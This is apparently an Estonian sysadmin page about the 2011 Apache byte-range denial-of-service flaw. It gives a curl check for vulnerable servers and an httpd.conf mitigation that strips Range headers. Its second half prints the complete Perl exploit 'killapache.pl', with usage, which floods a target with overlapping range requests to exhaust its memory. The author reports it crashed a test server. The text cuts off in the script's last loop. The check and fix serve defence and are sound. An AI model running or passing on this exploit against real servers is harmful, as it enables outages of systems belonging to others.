Ohustatud on kõik Apache versioonid, nii 1.x kui ka 2.x seeria.
Kontrollida saab käsuga:
curl -I -H "Range: bytes=0-1,0-2" -s serverinimi/robots.txt või serverinimi/index.html
või ka lihtsalt otse serverinime poole pöördudes.
Kui vastus on umbes selline:
root@it110:~# curl -I -H "Range: bytes=0-1,0-2" -s muhv.kliinikum.ee
'''''HTTP/1.1 206 Partial Content'''''
Date: Wed, 31 Aug 2011 06:41:00 GMT
Server: Apache/2.2.16 (EL)
Last-Modified: Fri, 18 Sep 2009 14:14:52 GMT
ETag: "e41e2-f26-473dac16c2f00"
Accept-Ranges: bytes
Content-Length: 222
Connection: close
Content-Type: multipart/byteranges; boundary=4abc7694b2ca94d60
s.t vastuses sisaldub ”’HTTP/1.1 206 Partial Content”’, siis on server ohustatud, see paistab sõltuvat ka sellest, millist lehte server
päringule serveerib.
Vastavalt http://habrahabr.ru/blogs/infosecurity/127029/ olevale infole lisasin httpd.conf faili read:
LoadModule headers_module modules/mod_headers.so
RequestHeader unset Range
RequestHeader unset Request-Range
Peale Apache restarti uuesti kontrollides peab vastuses olema ”’HTTP/1.1 200 OK”’
root@it110:~# curl -I -H "Range: bytes=0-1,0-2" -s muhv.kliinikum.ee
'''''HTTP/1.1 200 OK'''''
Date: Wed, 31 Aug 2011 06:42:30 GMT
Server: Apache/2.2.16 (EL)
Last-Modified: Fri, 18 Sep 2009 14:14:52 GMT
ETag: "e41e2-f26-473dac16c2f00"
Accept-Ranges: bytes
Content-Length: 3878
Connection: close
Content-Type: text/html; charset=UTF-8
Selle skripti abil on võimalik ohustatud serverile tekitada DoS rünnak.
Testimisel sai swap täis, mälu sai otsa, serveri koormus kasvas mõne hetkega ülikõrgeks, protsessid hakkasid “surema”, server ei rageerinud enam ning aitas ainult reboot.
Kasutamine:
#perl killapache_pl serverinimi 50
#Apache httpd Remote Denial of Service (memory exhaustion) #By Kingcope #Year 2011 # # Will result in swapping memory to filesystem on the remote side # plus killing of processes when running out of swap space. # Remote System becomes unstable. # use IO::Socket; use Parallel::ForkManager; sub usage { print "Apache Remote Denial of Service (memory exhaustion)\n"; print "by Kingcope\n"; print "usage: perl killapache.pl [numforks]\n"; print "example: perl killapache.pl www.example.com 50\n"; } sub killapache { print "ATTACKING $ARGV[0] [using $numforks forks]\n"; $pm = new Parallel::ForkManager($numforks); $|=1; srand(time()); $p = ""; for ($k=0;$k<1300;$k++) { $p .= ",5-$k"; } for ($k=0;$k<$numforks;$k++) { my $pid = $pm->start and next; $x = ""; my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print $sock $p; while(<$sock>) { } $pm->finish; } $pm->wait_all_children; print ":pPpPpppPpPPppPpppPp\n"; } sub testapache { my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print $sock $p; $x = <$sock>; if ($x =~ /Partial/) { print "host seems vuln\n"; return 1; } else { return 0; } } if ($#ARGV < 0) { usage; exit; } if ($#ARGV > 1) { $numforks = $ARGV[1]; } else {$numforks = 50;} $v = testapache(); if ($v == 0) { print "Host does not seem vulnerable\n"; exit; } while(1) { killapache();